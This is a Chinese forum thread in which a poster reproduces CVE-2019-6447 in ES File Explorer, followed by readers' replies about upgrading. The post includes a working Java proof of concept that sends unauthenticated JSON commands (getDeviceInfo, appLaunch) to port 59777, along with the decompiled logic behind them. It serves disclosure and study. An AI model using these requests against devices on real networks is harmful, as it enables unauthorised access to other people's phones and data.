1941368542 发表于 2019-1-22 08:47

ES文件浏览器 CVE-2019-6447 高危漏洞复现

今天看到关于ES文件浏览器的漏洞,觉得危险程度非常高,所以我简单的用java代码复现一下,首先关于ES文件浏览器,我就不多说了。非常著名的一款文件浏览器。
漏洞利用就是该软件运行之后开启TCP 59777端口,该端口未关闭导致可以通过HTTP协议POST请求接收JSON数据,进行解析执行返回结果。

环境:
win10,IDEA,JDK 1.8.0_181,一加5,Android P,ES文件浏览器4.1.9.7.4之前(我用的4.1.8.3.1)


复现:

public class Test {
    public static void main(String[] args) {
String data = "{\"command\":\"getDeviceInfo\"}";
String path = "http://192.168.43.111:59777";
      URL url = null;
      try{
            url = new URL(path);
            HttpURLConnection conn = (HttpURLConnection) url.openConnection();
            conn.setRequestMethod("POST");
            conn.setConnectTimeout(5000);
            conn.setRequestProperty("User-Agent","curl/7.54.0");
            conn.setRequestProperty("Accept","*/*");
            conn.setRequestProperty("Content-Type","application/json");
            conn.setRequestProperty("Content-Length",data.length()+"");
            conn.setRequestProperty("Connection","close");
            conn.setDoOutput(true);
            conn.getOutputStream().write(data.getBytes());
            //获取响应码
            int code = conn.getResponseCode();
            System.out.println("响应码:"+code);
            //如果请求码为200
            if(code == 200){
                InputStream in = conn.getInputStream();
                String msg = tools.transStream(in);
                System.out.println(msg);
            }
      }catch (Exception e){
            e.printStackTrace();
      }
    }
}

返回结果:
{"name":"ONEPLUS A5000", "ftpRoot":"/sdcard", "ftpPort":"3721"}
可以看到,我们通过POST请求提交了{"command":"getDeviceInfo"} 指令,就返回了我们手机的设备信息,更甚至我们可以通过指令来打开我们设备上安装的应用程序:
POST提交:
{"command":"appLaunch", "appPackageName": "com.tencent.mm"}
提交该json数据,则可以直接打开我们手机上安装的微信。见GIF图



漏洞简要分析:
本次漏洞主要在:
com.estrongs.fs.impl.adb.c
com.estrongs.android.f.a
这两个类里面,解压ES文件浏览器,得到4个dex文件


挨个使用jadx打开搜索command关键字,找到漏洞关键位置
在classes2.dex中定位到com.estrongs.android.f.a
可以看到在a方法内


通过command获取到对应的指令,然后执行相应的方法,
这里我就简单看一下获取设备信息的这条执指令:


在这里,如果str3.equals("getDeviceInfo")成立,
则执行b这个方法,并将jSONObject传进去,我们下拉定位到b这个方法


可以看到这个方法是通过StringBuilder,进行拼接设备信息,
和ftpPort信息,然后进行返回。在看一下启动应用程序这条指令:


可以看到如果传来指令为appLaunch,
则执行a这个方法,并将jSONObject传递过去,下拉定位到a这个方法,


可以看到,他通过获取appPackageName对应的String,
然后进行非空判断,通过Intent将appPackageName对应的包名传入,
然后通过startActivity启动该应用程序。通过以上分析,我们可以看出,ES可以执行的指令还是很多的,有些危害还是比较严重的,
所以目前使用ES文件浏览器的,请尽快升级到最新版本。


可以看到最新版是已经修复了该漏洞了。

本文同步发布于我的个人博客和吾爱破解,转载请注明链接。
参考:
https://github.com/fs0c131y/ESFileExplorerOpenPortVuln


1941368542 发表于 2019-1-22 16:42

smuuupl 发表于 2019-1-22 15:52
这么看,这不是ES文件浏览器内置的功能吗,咋还算上漏洞了。

是内置功能,但是不能任意人都可以向设备发送执行指令,最起码要对传入指令的身份合法性做一下校验。

1941368542 发表于 2019-1-22 10:05

pikachu888 发表于 2019-1-22 09:23
请问一下, 这个漏洞是只针对局域网吗?如果是自己家里的局域网没有别人的设备是不是没有影响

是的,局域网。

ty186 发表于 2019-1-22 08:59

啊啊!我还在用这个浏览器啊!要不要删除呢!!?

JinDex 发表于 2019-1-22 09:15

ty186 发表于 2019-1-22 08:59
啊啊!我还在用这个浏览器啊!要不要删除呢!!?

删除吧,不要用了{:1_893:}

yang19950324 发表于 2019-1-22 09:15

看来是时候给我的ES文件浏览器升级一下了

DEFwa 发表于 2019-1-22 09:16

收藏一个备用,谢谢啦

pikachu888 发表于 2019-1-22 09:23

请问一下, 这个漏洞是只针对局域网吗?如果是自己家里的局域网没有别人的设备是不是没有影响{:301_1009:}

l1679668663 发表于 2019-1-22 09:27

嗯哼    还得多看会

iamprole 发表于 2019-1-22 09:35

还好我一直用的x-prole。

goinfor2008 发表于 2019-1-22 10:37

看了这贴子,虽然不懂代码,还是赶紧把ES文件浏览器升级一下安全些。谢谢LZ
页: [1] 2 3 4 5 6
查看完整版本: ES文件浏览器 CVE-2019-6447 高危漏洞复现